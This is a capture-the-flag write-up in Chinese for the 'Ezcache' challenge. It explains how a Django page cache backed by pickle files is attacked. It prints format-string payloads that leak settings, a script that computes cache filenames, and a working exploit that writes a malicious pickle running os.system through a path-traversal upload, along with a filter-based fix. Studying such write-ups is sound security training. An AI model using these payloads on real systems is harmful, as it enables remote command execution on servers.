[2023香山杯决赛]Ezcache
第一次的线下AWDP的复盘与总结
环境复现
题目docker:https://pan.baidu.com/s/1ZgNYC7FkTt7Oe_RQYSGrhQ 提取码: wiwn
构建 & 启动
docker build -t ezcache .
docker run -d -p 8000:8000 ezcache
解题思路
题目有两个路由,/generate存在的问题有两个:格式化字符串信息泄露+任意文件写入

/index则是由cache_page装饰器修饰,结合题目名称ezcache,利用点也在就在其中

下面看cache_page做了个什么。这里它调用了decorator_from_middleware_with_args给index加了一个CacheMiddleware的中间件

跟进Django中间件的作用方式,在django.utils.decorators.make_middleware_decorator可以看到,它其实是调用了中间件类的一些方法来处理请求、响应和报错等等。

下面来看CacheMiddleware这个中间件都做了些什么。顾名思义,CacheMiddleware就是Django对缓存页面机制的一种实现,它继承的UpdateCacheMiddleware和FetchFromCacheMiddleware分别实现了处理请求的process_request和处理响应的process_response方法。

在django.core.cache下断点调试CacheMiddleware的工作流程。

首先,在程序启动的时候会实例化django.core.cache.CacheHandler。通过_create_cache的调用,它会对服务器处理缓存的类进行加载。

这里选取的类则是由配置文件决定的

题目给出的是django.core.cache.backends.filebased.FileBasedCache
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': os.environ.get('cache_path'),
}
}
而用来实例化FileBasedCache的location,则指的是缓存文件的保存的路径。根据配置文件,它是在环境变量中配置的。

最后这个实例化的BACKEND会被赋值给CacheMiddleware.cache

现在看下处理缓存的FileBasedCache里面有什么。点进去就可以看到熟悉的pickle反序列化

接下来就是如何利用,直接在FileBasedCache.get里面下断点。访问/index,在get_cache_key中会用_generate_cache_header_key计算出cache_key,然后调用FileBasedCache.get。

在FileBasedCache.get中,首先会用_key_to_file根据cache_key计算出文件名。

紧接着在_is_expired直接就会load这个文件。

到这里一个基本的思路就有了:
- 利用格式化字符串漏洞,读出环境变量中缓存文件的保存路径。
- 根据缓存文件名的计算逻辑,自己计算出文件名称。
- 任意文件写入,结合保存路径和文件名,将恶意类的序列化字符串写入缓存文件。
- 访问
/index触发pickle.load(f)反序列化漏洞来命令执行。
解题流程
首先找到缓存文件的路径。比赛的时候输入了一大堆来拿到os模块,然后找环境变量。
{user.__init__.__globals__[total_ordering].__globals__[namedtuple].__globals__[_sys].__dict__[modules][django.contrib.staticfiles.finders].__dict__[os].__dict__[environ]}
但其实可以通过{user.__class__.__dict__}找到request.user所在的类后,通过django.contrib.auth.models.AnonymousUser这个属性来找setting模块,还可以让payload写的更简单。参考:
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES}
找到缓存路径后,就是找计算文件名称。跟着调试一遍后就会发现,缓存文件的名称只与请求的URL有关。根据它的思路我们写出计算缓存文件名称的脚本:
import hashlib
import os
def _generate_cache_header_key(key_prefix, url):
"""Return a cache key for the header cache."""
url = hashlib.md5(url.encode('ascii'))
cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
key_prefix, url.hexdigest())
return cache_key
def default_key_func(key, key_prefix, version):
return '%s:%s:%s' % (key_prefix, version, key)
def _key_to_file(key, _dir):
_dir = ''
cache_suffix = '.djcache'
key = default_key_func(key, '', '1')
return os.path.join(_dir, ''.join(
[hashlib.md5(key.encode()).hexdigest(), cache_suffix]))
url = 'http://127.0.0.1:8000/index'
key_prefix = ''
_dir = '/tmp/1234567/cache'
cache_key = _generate_cache_header_key(key_prefix, url)
cache_key = cache_key + '.en-us' + '.UTC'
path = _key_to_file(cache_key, _dir)
print(path) # /tmp/1234567/cache/6f134a4214467b7ea4185c595222780e.djcache
有了路径后就可以向缓存写入序列化的恶意类,虽然不能出网,但是服务的static目录是可以下载的,将命令执行的结果保存其中即可。参考脚本如下(使用MultipartEncoder来传入序列化后的字节串):
import requests
import pickle
import os
from requests_toolbelt.multipart.encoder import MultipartEncoder
class genpoc(object):
def __reduce__(self):
s = "ls / >> /app/static/2" # 要执行的命令
return (os.system, (s,))
e = genpoc()
poc = pickle.dumps(e)
burp0_url = "http://127.0.0.1:8000/generate"
burp0_headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://172.22.107.245:8000",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en,zh-CN;q=0.9,zh;q=0.8",
"Connection": "close"
}
data = poc
# 上一步的到的文件路径
filename = "../../tmp/1234567/cache/6f134a4214467b7ea4185c595222780e.djcache"
# 使用 MultipartEncoder 创建多部分表单数据
multipart_data = MultipartEncoder(
fields={
'intro': 'here is your introduction',
'file': ('filename', poc, 'application/octet-stream'),
'filename': filename
}
)
burp0_headers['Content-Type'] = multipart_data.content_type
requests.post(burp0_url, headers=burp0_headers, data=multipart_data)
requests.get("http://127.0.0.1:8000/index") # 访问index触发序列化
fix
据说fix掉格式化字符串就可以了,路径穿越修了过不了check。参考:
if "user" in intro.lower() or "{" in intro.lower() or "}" in intro.lower():
return HttpResponse("can't be as admin")
总结
虽然就结果而言这次web确实有点难度,三道题的解题人数分别是3、3、1。但一分也没拿的我,不仅一题未解,连fix也fix不了,多少有点离谱了😢
首先就是这个目录结构,做了一年的Flask,拿道这道题理所应当地以为是
/app
├── templates
│ └── index.html
├── __init__.py
├── models.py
├── settings.py
├── urls.py
├── views.py
└── wsgi.py
但这道Django的目录结构其实是
/app
├── __init__.py
├── app
│ ├── __init__.py
│ ├── models.py
│ ├── settings.py
│ ├── templates
│ │ └── index.html
│ ├── urls.py
│ ├── views.py
│ └── wsgi.py
├── db.sqlite3
├── manage.py
└── static
所以update.sh我写成了
mv -f -b views.py /app/views.py
chmod +x /app/views.py
甚至连文件位置都没弄明白,而且看了WP才发现我第一次修改的还是对的😭
说回这道题目,其实现在看下来好像也不是很难。复现这道题的时候,其实就瞟了一下wp知道思路是cache_page+pickle反序列化,然后就自己调了,而且比赛的时候我也知道是cache_page的问题,还把这个装饰器删掉来fix。
所以这道题难在哪呢?难就难在怎么在断网的环境下调通这个程序。题目给的源码结构是

因为断网环境下无法安装依赖,所以直接把它全给你了,但我完全不知道这东西怎么用......要在本地编译器调通,需要设置环境变量PYTHONPATH值为dist-packages目录的位置,像这样
/xxx/xxx/ezcache/dist-packages:$PYTHONPATH
Pycharm可以在启动选项里面设置。此外,这道题还需要配置个cache_path的环境变量

之后在setting.py中修改相应的路径,以manage.py作为程序入口,然后可以跑通了。
不过还需要知道Django的启动参数是runserver 0.0.0.0:8000,反正这次线下怎么都是G🙃